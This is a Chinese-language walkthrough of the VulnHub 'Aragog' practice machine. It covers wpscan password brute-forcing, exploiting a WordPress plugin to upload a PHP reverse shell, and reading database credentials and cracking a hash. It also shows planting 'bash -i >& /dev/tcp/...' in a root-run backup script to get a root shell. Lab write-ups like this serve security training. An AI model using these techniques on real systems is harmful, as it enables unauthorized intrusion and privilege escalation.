vulnhub靶场【哈利波特】三部曲之Aragog
前言
使用virtual box
虚拟机
靶机:Aragog : 192.168.1.101
攻击:kali : 192.168.1.16
主机发现
使用arp-scan -l
扫描,在同一虚拟网卡下
信息收集
使用nmap
扫描
发现22端口SSH
服务,openssh
80端口HTTP
服务,Apache 2.4.38
系统为Linux 4.x|5.x
对于80端口进一步收集信息
访问80端口查看
一张海报,下载查看有无隐藏信息,也不知到密码,所以直接回车,发现没有信息
扫描网站目录
使用dirsearch、gobuster、dirb、dirbuster、ffuf
等工具都可以
使用whatweb
进行探测,结合前面的wp-login.php
,确定是wordpress
的CMS
使用wpscan
专门针对wordpress
的工具进行探测,发现有xmlrpc.php
文件,说明可能存在用户枚举等,直接再使用该工具进行枚举
wpscan --url http://192.168.1.101 -e u -P /usr/share/wordlists/rockyou.txt
这个是把从wordpress
中枚举的用户,使用密码字典进行对用户的爆破
使用这个命令破解需要时间,可以先访问wp-admin
界面查看,发现有问题,这里访问的是域名了
修改/etc/hosts
文件,把域名与ip
绑定一起
再次访问wp-admin
,成功访问
那么前面在进行密码破解时,可能就有问题了,因为之前没有进行域名绑定,并且这里是通过域名进行直接访问的,IP访问是进行的跳转,所以,对于密码爆破,重新进行
把url
地址改为域名wordpress.aragog.hogwarts
即可,其余不用变动
wpscan --url http://word.press.aragog.hogwarts -e u -P 【字典路径】
这次出的东西就增加许多,这里指出一个使用主题,版本过低
但是因为是密码爆破,所以时间还是长,让他在那继续爆破,继续寻找其他地方。这里经过漫长的时间,一直没有成功,所以可能这里并不存在
寻找其他方法,尝试枚举插件plugins
和主题theme
等,检测模式等需要改成主动的,具有侵略性的,不然可能会忽略掉一些,上面大部分还是passive
被动收集的
漏洞寻找及利用
wpscan --url http://wordpress.aragog.hogwarts/blog -e ap --detection-mode aggressie --plugins-detection-mode aggressive
有提示,说是版本的问题,这里有的可能不准确,所以还是需要自己去认证,这里直接搜索,看有无该漏洞,可以使用searchsploit
或者msf
都可以
直接定位该文件的位置locate
,然后复制到当前目录并重命名,方便使用
可以查看该脚本文件,里面有用法
在使用该脚本时,会有提示,需要先安装jq
的,直接使用apt
安装即可。检测到是有漏洞的,开始下一步
首先这里确定是php
脚本语言的,然后这里使用kali
自带的一个webshell
,路径在/usr/share/webshell/php/php-reverse-shell.php
文件,修改其中的监听IP和端口即可
执行file.sh
脚本中的用法,进行上传
bash file.sh -u http://wordpress.aragog.hogwarts/blog -f /usr/share/webshells/php/php-reverse-shell.php --verbose
可以看到这里的提示,和用法中的一样,表示上传成功,使用kali
开启监听1234
端口,然后浏览器进行访问,可以发现成功反弹shell
开始寻找文件,这里可以自己尝试获取交互式界面,我这里就不操作了,可以测试python
或者bash
和sh
等
提权
寻找wordpress目录
这里解密后说是"谁的日记被哈里在哪里秘密的摧毁了",则,没有用处,发现在平常的/var/www/html
目录下,并不存在wordpress
的目录,使用find
寻找,可以看到这里的有wp
的一些常见目录,去目录下查看
找对目录了
查看配置文件wp-config.php
一直指向一个目录下的文件,等下去查看
这里还提供的连接数据库的库名和用户名,但是没有直接给出密码
切换/etc/wordpress
目录,并查看
这里有了连接数据库的具体信息,查看端口信息
连接数据库
使用命令连接数据库
mysql -h localhost -P 3306 -uroot -pmySecr3tPass
查看数据库中的信息
可以发现这里的用户hagrid98
在网站wordpress
中的显示就是WP-Admin
,解密这个密码即可,如果有加盐salt
等时,再搜索一遍,看能否找到加密算法等,这里直接可以通过md5
解密,但是竟然要收费,这不行啊。
换了一个网站进行解密https://www.somd5.com/
登录hagrid98
这里就获取用户hagrid98
的密码,使用ssh
连接
使用find / -perm -u=s -type f 2>/dev/null
未发现有可利用的命令进行提取
使用find
寻找可能的一些文件,如*pass*
、*user*
、*back*
等
找到一个隐藏的备份,这要看看
发现该文件具有可读可写可执行,对于用户hagrid98
,执行测试发现是复制
再查看具体的代码,
cp
参数:
-r 或 --recursive:用于复制目录及其所有的子目录和文件,如果要复制目录,需要使用该选项。
很明显,就是备份文件到临时目录中,这个备份应该会执行,至于是手工还是定时,不得而知,不过可以在这个代码中进行插入,使得可以获得root
的shell
。插入下面命令
bash -i >& /dev/tcp/192.168.1.16/8888 0>&1
登录root
然后在kali
中开启监听8888
端口,即可发现反弹成功
清除痕迹
总结
- 对于网站目录的识别,常见的
CMS
要大概清楚 - 使用
wpscan
针对扫描wordpress
时,可以扫描主题插件等 - 对于
searchsploit
的利用,要会复现 - 善用
find
命令可以使得步骤等非一般的提升 - 对于文件,要学会找到一些可能存在的,比如这里的指向,是指向
/etc/wordpress
目录的,如果文件没看清的话,就会导致寻找不到提权点 - 对于常见的数据库使用的加密方式可以简单了解
- 找不到具有
SUID
权限的文件时,可以寻找可能具有关键字的一些文件,常见的密码、用户名以及备份文件等 - 常见的提权
bash
指令,要知道为什么可以提权
相关文章:
vulnhub靶场【哈利波特】三部曲之Aragog
前言 使用virtual box虚拟机 靶机:Aragog : 192.168.1.101 攻击:kali : 192.168.1.16 主机发现 使用arp-scan -l扫描,在同一虚拟网卡下 信息收集 使用nmap扫描 发现22端口SSH服务,openssh 80端口HTTP服务,Apach…...
【开发语言】层次状态机(HSM)介绍
层次状态机(Hierarchical State Machine, HSM),从基本原理、结构设计、实现方法以及如何结合 Qt 进行具体实现等方面进行分析。 1. 层次状态机的基本原理 层次状态机是一种用于管理复杂系统行为的状态机模型,它通过将状态组织成…...
Midjourney Imagine API 申请及使用
Midjourney Imagine API 申请及使用 Midjourney 是一款非常强大的 AI 绘图工具,只要输入关键字,就能在短短一两分钟生成十分精美的图像。Midjourney 以其出色的绘图能力在业界独树一帜,如今,Midjourney 早已在各个行业和领域广泛…...
Function Arguments and Function Parameters (函数的实参和函数的形参)
Function Arguments and Function Parameters {函数的实参和函数的形参} 1. Object-Oriented Programming Using C2. Function Arguments and Function ParametersReferences 1. Object-Oriented Programming Using C https://icarus.cs.weber.edu/~dab/cs1410/textbook/index…...
【C语言】递归的内存占用过程
递归 递归是函数调用自身的一种编程技术。在C语言中,递归的实现会占用内存栈(Call Stack),每次递归调用都会在栈上分配一个新的 “栈帧(Stack Frame)”,用于存储本次调用的函数局部变量、返回地…...
六、文本搜索工具(grep)和正则表达式
一、grep工具的使用 1、概念 grep: 是 linux 系统中的一个强大的文本搜索工具,可以按照 正则表达式 搜索文本,并把匹配到的行打印出来(匹配到的内容标红)。 2、语法 grep [options]…… pattern [file]…… 工作方式…...
spaCy 入门与实战:强大的自然语言处理库
spaCy 入门与实战:强大的自然语言处理库 spaCy 是一个现代化、工业级的自然语言处理(NLP)库,以高效、易用和功能丰富著称。它被广泛应用于文本处理、信息提取和机器学习任务中。本文将介绍 spaCy 的核心功能,并通过一…...
嵌入式硬件实战提升篇(三)商用量产电源设计方案 三路电源输入设计 电源管理 多输入供电自动管理 DCDC降压
引言:本文你能实际的了解到实战量产产品中电源架构设计的要求和过程,并且从实际实践出发搞懂电源架构系统,你也可以模仿此架构抄板到你自己的项目,并结合硬件篇之前的项目以及理论形成正真的三路电源输入设计与开发板电源架构块供…...
常用排查工具使用
1.spy++ Microsoft Spy++是一个非常好的查看Windows操作系统的窗口、消息、进程、线程信息的工具,简单易用,功能强大。 在vs的工具中默认安装,还可以监控到隐层窗口,通过查看窗口的属性可以获得更多信息,包括规格、窗口、类、进程等信息,可以帮助排查相关窗口的问题。 2…...
用三维模型的顶点法向量计算法线贴图
法线贴图的核心概念是在不增加额外多边形数目的情况下,通过模拟细节来改善光照效果。具体流程包括: 法线的计算与存储:通过法线映射将三维法线向量转化为法线贴图的 RGB 值。渲染中的使用:在片段着色器中使用法线贴图来替代原有的…...
基于Matlab高速动车组转臂定位橡胶节点刚度对车辆动力学影响仿真研究
本研究针对高速动车组转臂定位系统中橡胶节点的刚度对车辆动力学性能的影响进行仿真研究。随着高速铁路的发展,动车组的运行稳定性和舒适性成为设计和运营的核心问题,其中,转臂定位系统作为动车组悬挂系统的重要组成部分,其性能对…...
PostgreSQL认证培训需要什么条件
PostgreSQL认证培训通常没有严格的前置条件,但以下几点可以帮助你更好地准备和通过认证考试: 1、基础知识:具备基本的数据库知识和经验,特别是对SQL有一定的了解。如果你Oracle、MySQL等基础知识,对对你学习PostgreSQ…...
Rust 图形界面开发——使用 GTK 创建跨平台 GUI
第五章 图形界面开发 第一节 使用 GTK 创建跨平台 GUI GTK(GIMP Toolkit)是一个流行的开源跨平台图形用户界面库,适用于创建桌面应用程序。结合 Rust 的 gtk-rs 库,开发者能够高效地构建现代化 GUI 应用。本节将详细探讨 GTK 的…...
Spring中每次访问数据库都要创建SqlSession吗?
一、SqlSession是什么二、源码分析1)mybatis获取Mapper流程2)Spring创建Mapper接口的代理对象流程3)MapperFactoryBean#getObject调用时机4)SqlSessionTemplate创建流程5)SqlSessionInterceptor拦截逻辑6)开…...
【数据分析】布朗运动(维纳过程)
文章目录 一、概述二、数学布朗运动2.1 数学定义2.2 布朗运动的数学模型2.21 标准布朗运动2.22 布朗运动的路径2.23 布朗运动的方程 三、布朗运动在金融学中的应用四、数学构造(以傅里叶级数为例)4.1 傅里叶级数的基本思想4.2 构造布朗运动 一、概述 布…...
静态页面 和 动态页面(Java Web开发)
1. 静态页面 1.1 什么是静态页面? 静态页面是指 HTML 文件直接存放在服务器上,不依赖后端逻辑处理而生成内容。客户端浏览器请求静态页面时,服务器直接将文件发送到客户端,浏览器负责渲染页面。 特点: 固定内容&am…...
linux模拟试题
Linux 基础阶段考试笔试模拟试卷 审核人:王旺旺 一.填空题(每题 1 分,共 30 分) 1.验证 httpd 服务是否启动的命令是_______ 答:systemctl status httpd 或 netstat -anptl 或 ss -anpt 2.将目录 xxhf 下所有文件的所属组改为 user1 的命令是_______ 答:chown -R ,user1 …...
Android 使用OpenGLES + MediaPlayer 获取视频截图
概述 Android 获取视频缩略图的方法通常有: ContentResolver: 使用系统数据库MediaMetadataRetriever: 这个是android提供的类,用来获取本地和网络media相关文件的信息ThumbnailUtils: 是在android2.2(api8)之后新增的一个,该类为…...
典型的1553B网络
典型的1553B网络 1553B总线BUS A和BUS B是互为冗余的、完全对等、物理隔离的两个网络。每一个节点设备也配置有互为冗余的A、B两个1553B接口,分别接入BUS A和BUS B。系统完成初始化配置后,首先采用BUS A来通讯。工作过程中,如果发现BUS A的工…...
【C++】内存管理
【C】内存管理 一、C/C内存分布二、C语言中动态内存管理方式三、C内存管理方式1、new 和 delete 操作内置类型2、new 和 delete 操作自定义类型 四、operator new 和 operator delete 函数五、new 和 delete 的实现原理1、内置类型2、自定义类型3、new和delete不匹配的报错 六、…...
实现PDF文档加密,访问需要密码
01. 背景 今天下午老板神秘兮兮的来问我,能不能做个文档加密功能,就是那种用户下载打开需要密码才能打开的那种效果。boss都发话了,那必须可以。 需求:将 pdf 文档经过加密处理,客户下载pdf文档,打开文档需…...
常见排序算法总结 (三) - 归并排序与归并分治
归并排序 算法思想 将数组元素不断地拆分,直到每一组中只包含一个元素,单个元素天然有序。之后用归并的方式收集跨组的元素,最终形成整个区间上有序的序列。 稳定性分析 归并排序是稳定的,拆分数组时会自然地将元素分成有先后…...
文库 | 从嬴图的技术文档聊起
在技术的浩瀚海洋中,一份优秀的技术文档宛如精准的航海图。它是知识传承的载体,是团队协作的桥梁,更是产品成功的幕后英雄。然而,打造这样一份出色的技术文档并非易事。你是否在为如何清晰阐释复杂技术而苦恼?是否纠结…...
故障诊断 | Transformer-LSTM组合模型的故障诊断(Matlab)
效果一览 文章概述 故障诊断 | Transformer-LSTM组合模型的故障诊断(Matlab) 源码设计 %% 初始化 clear close all clc disp(此程序务必用2023b及其以上版本的MATLAB!否则会报错!) warning off %...
VScode离线下载扩展安装
在使用VScode下在扩展插件时,返现VScode搜索不到插件,网上搜了好多方法,都不是常规操作,解决起来十分麻烦,可以利用离线下载安装的方式安装插件!亲测有效!!! 1.找到VScod…...
【AI系统】昇腾异构计算架构 CANN
昇腾异构计算架构 CANN 本文将介绍昇腾 AI 异构计算架构 CANN(Compute Architecture for Neural Networks),这是一套为高性能神经网络计算需求专门设计和优化的架构。CANN 包括硬件层面的达芬奇架构和软件层面的全栈支持,旨在提供…...
云服务器重装系统后 一些报错与解决[ vscode / ssh / 子用户]
碰见的三个问题: 1.vscode连接失败 2.登录信息配置 3.新建子用户的一些设置 思考:遇见问题,第一反应 应该如何解决 目录 1. 错误 解决方法 原因 步骤 1:找到known_hosts文件并编辑 步骤 2:通过VSCode终端输入…...
架构设计之路,永无尽头
1. 插件式架构 2. SRP:单一职责原则 3. 链接加载器??? 4. 端口适配器架构 5. 六边形架构 6. MVC架构 7. 领域驱动架构 8. 敏捷开发 9. 打台球的时候每打一杆是为了下几杆,而不是为了打到洞中。 10. 画出一个图࿰…...
【AI系统】Ascend C 语法扩展
Ascend C 语法扩展 Ascend C 的本质构成其实是标准 C加上一组扩展的语法和 API。本文首先对 Ascend C 的基础语法扩展进行简要介绍,随后讨论 Ascend C 的两种 API——基础 API 和高阶 API。 接下来针对 Ascend C 的几种关键编程对象——数据存储、任务间通信与同步…...
驱动篇的开端
准备 在做之后的动作前,因为win7及其以上的版本默认是不支持DbgPrint(大家暂时理解为内核版的printf)的打印,所以,为了方便我们的调试,我们先要修改一下注册表 创建一个reg文件然后运行 Windows Registr…...
树莓派4B使用opencv读取摄像头配置指南
本文自己记录,给我们lab自己使用,其他朋友们不一定完全适配,请酌情参考。 一. 安装opecnv 我们的树莓派4B默认是armv7l架构,安装的miniconda最新的版本 Miniconda3-latest-Linux-armv7l.sh 仍然是python3.4几乎无法使用ÿ…...
【AI日记】24.12.03 kaggle 比赛 Titanic-6
【AI论文解读】【AI知识点】【AI小项目】【AI战略思考】【AI日记】 工作 内容:学习 kaggle 入门比赛 Titanic - Machine Learning from Disaster时间:7 小时评估:继续 读书 书名:美丽新世界时间:1 小时阅读原因&…...
Linux中的常用基本指令(下)
Linux常用基本指令 Linux中的基本指令12.head指令13.tail指令简单解释重定向与管道(重要) 14.date指令(时间相关的指令)15.cal指令(不重要)16.find指令(灰常重要)17.grep指令(重要)18.which指令和alias指令19.zip/unzip指令:20.tar指令(重要&…...
python笔记3
复习及总结 python的软件安装及简单使用——python3.31 pycharm python的输出:print() 简单(直接)输出 print()输出到指定文件 fpopen(rC:\Users\M15R3\Desktop\1.txt,a) print("334…...
电商营销活动-抽奖业务
目录 一、抽奖系统的核心功能 二、抽奖系统的业务逻辑 三、抽奖系统的业务优势 四、抽奖系统的业务注意事项 电商营销活动中的抽奖系统业务,是一种通过设立抽奖活动来吸引用户参与、提升用户活跃度和转化率的营销手段。以下是对电商营销活动抽奖系统业务的详细解…...
利用 Redis 与 Lua 脚本解决秒杀系统中的高并发与库存超卖问题
1. 前言 1.1 秒杀系统中的库存超卖问题 在电商平台上,秒杀活动是吸引用户参与并提升销量的一种常见方式。秒杀通常会以极低的价格限量出售某些商品,目的是制造紧迫感,吸引大量用户参与。然而,这种活动的特殊性也带来了许多技术挑…...
《山海经》:北山
《山海经》:北山 北山一经单狐山求如山(水马:形状与马相似,滑鱼:背部红色)带山(䑏疏:似马,一只角,鵸鵌:状乌鸦五彩斑斓,儵鱼ÿ…...
React基础教程(12):useRef的使用
12、useRef useRef 是 React 中的一个 Hook,主要用于访问和操作 DOM 元素以及保存组件的可变引用值。它是一个工具,用来避免重新渲染组件的情况下保持某些状态或引用的值。 使用场景: 使用场景 访问 DOM 元素 当需要直接操作某个 DOM 元素(如聚焦、滚动等)时,可以使用…...
释放超凡性能,打造鸿蒙原生游戏卓越体验
11月26日在华为Mate品牌盛典上,全新Mate70系列及多款全场景新品正式亮相。在游戏领域,HarmonyOS NEXT加持下游戏的性能得到充分释放。HarmonyOS SDK为开发者提供了软硬协同的系统级图形加速解决方案——Graphics Accelerate Kit(图形加速服务…...
Linux--Debian或Ubuntu上扩容、挂载磁盘并配置lvm
一、三块12TB组RAID 5 可用容量约24TB 二、安装LVM工具(已安装请忽略) sudo apt-get install lvm2二、查看可用磁盘 sudo lsblk 或者 sudo fdisk -l三、创建物理卷(PV) 选中刚做的磁盘组 sudo pvcreat /dev/sdb1四、创建卷组…...
我谈冈萨雷斯对频域滤波的误解——快速卷积与频域滤波之间的关系
在Rafael Gonzalez和Richard Woods所著的《数字图像处理》中,Gonzalez对频域滤波是有误解的,在频域设计滤波器不是非得图像和滤波器的尺寸相同,不是非得在频域通过乘积实现。相反,FIR滤波器设计都是构造空域脉冲响应。一般的原则是…...
Leetcoed:3274
1,题目 2,思路 把俩个字符串坐标拆开比较二进制, 如a1与b2 ,a与b比较为false ,1与2比较为false,最后俩个结果比较返回true 3,代码 class Solution3274 {public boolean checkTwoChessboards(String str1, String str2) {return (str1.char…...
LabVIEW实现串口调试助手
目录 1、串口通信原理 2、硬件环境部署 3、串口通信函数 4、程序架构 5、前面板设计 6、程序框图设计 本专栏以LabVIEW为开发平台,讲解物联网通信组网原理与开发方法,覆盖RS232、TCP、MQTT、蓝牙、Wi-Fi、NB-IoT等协议。 结合实际案例,展示如何利用LabVIEW和常用模块实现物联…...
ASP.NET Core项目中使用SqlSugar连接多个数据库的方式
之前学习ASP.NETCore及SqlSugar时都是只连接单个数据库处理数据,仅需在Program文件中添加ISqlSugarClient的单例即可(如下代码所示)。 builder.Services.AddSingleton<ISqlSugarClient>(s > {SqlSugarScope sqlSugar new SqlSugar…...
leetcode hot100【Leetcode 72.编辑距离】java实现
Leetcode 72.编辑距离 题目描述 给定两个单词 word1 和 word2,返回将 word1 转换为 word2 所使用的最少操作数。 你可以对一个单词执行以下三种操作之一: 插入一个字符删除一个字符替换一个字符 示例 1: 输入: word1 "horse", word2 &…...
【开源免费】基于Vue和SpringBoot的服装生产管理系统(附论文)
博主说明:本文项目编号 T 066 ,文末自助获取源码 \color{red}{T066,文末自助获取源码} T066,文末自助获取源码 目录 一、系统介绍二、演示录屏三、启动教程四、功能截图五、文案资料5.1 选题背景5.2 国内外研究现状5.3 可行性分析…...
Android13 允许桌面自动旋转
一)需求-场景 Android13 实现允许桌面自动旋转 Android13 版本开始后,支持屏幕自动旋转,优化体验和兼容性,适配不同屏幕 主界面可自动旋转 二)参考资料 android framework13-launcher3【06手机旋转问题】 Launcher默…...
异常知识及其使用
异常的简单概念 在C中,异常处理是一种机制,用于处理程序运行时发生的意外情况。它允许程序在发生错误时,将控制权转移到一个专门的代码块,而不是让程序直接崩溃。C的异常处理机制包括以下几个关键概念: throw 用途&…...
Spark常问面试题---项目总结
一、数据清洗,你都清洗什么?或者说 ETL 你是怎么做的? 我在这个项目主要清洗的式日志数据,日志数据传过来的json格式 去除掉无用的字段,过滤掉json格式不正确的脏数据 过滤清洗掉日志中缺少关键字段的数据ÿ…...
哈希及其模拟实现
1.哈希的概念 顺序结构以及平衡树中,元素的关键码与其存储位置之间没有对应的关系。因此,在查找一个元素时,必须要经过关键码的多次比较。顺序查找的时间复杂度为O(N),平衡树中为树的高度,即O(log_2 N),搜…...